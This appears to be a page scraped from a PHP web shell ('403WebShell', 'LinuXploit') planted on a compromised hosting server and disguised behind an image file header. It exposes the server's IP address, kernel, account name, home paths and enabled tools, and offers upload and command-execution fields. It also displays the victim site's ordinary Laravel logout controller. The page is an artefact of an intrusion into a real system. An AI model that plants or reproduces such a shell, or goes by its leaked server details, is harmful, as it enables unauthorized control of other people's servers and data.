����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.142.243.141
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/LogoutController.php
<?php

namespace App\Http\Controllers;

use App\Multiplescreen;
use App\PaypalSubscription;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Session;


class LogoutController extends Controller
{
  
      public function logout()
{
    if (Auth::user()->is_admin == 1) {
        // If user is admin, log them out and flush session
        Auth::logout();
        Session::flush();
        return redirect('/')->with('success', 'Logged out!');
    } elseif ($activeSubscription = PaypalSubscription::where('user_id', Auth::user()->id)
        ->where('status', '=', 1)
        ->orderBy('created_at', 'desc')
        ->first()) {
        // If user has an active subscription
        $getScreens = Multiplescreen::where('user_id', Auth::user()->id)->first();

        if ($getScreens) {
            // Update the corresponding screen usage status
            foreach (range(1, 4) as $i) {
                $screenUsed = "screen_${i}_used";
                if ($getScreens->$screenUsed == 'YES') {
                    // If the screen is in use, mark it as not used
                    $getScreens->$screenUsed = 'NO';
                }
            }

            // Save the changes
            $getScreens->save();
        }

        Auth::logout();
        Session::flush();
        return redirect('/')->with('success', 'Logged out!');
    } else {
        // In case user is not subscribed or screen not found
        Auth::logout();
        Session::flush();
        return redirect('/')->with('success', 'Logged out!');
    }
}

}

Youez - 2016 - github.com/yon3zu
LinuXploit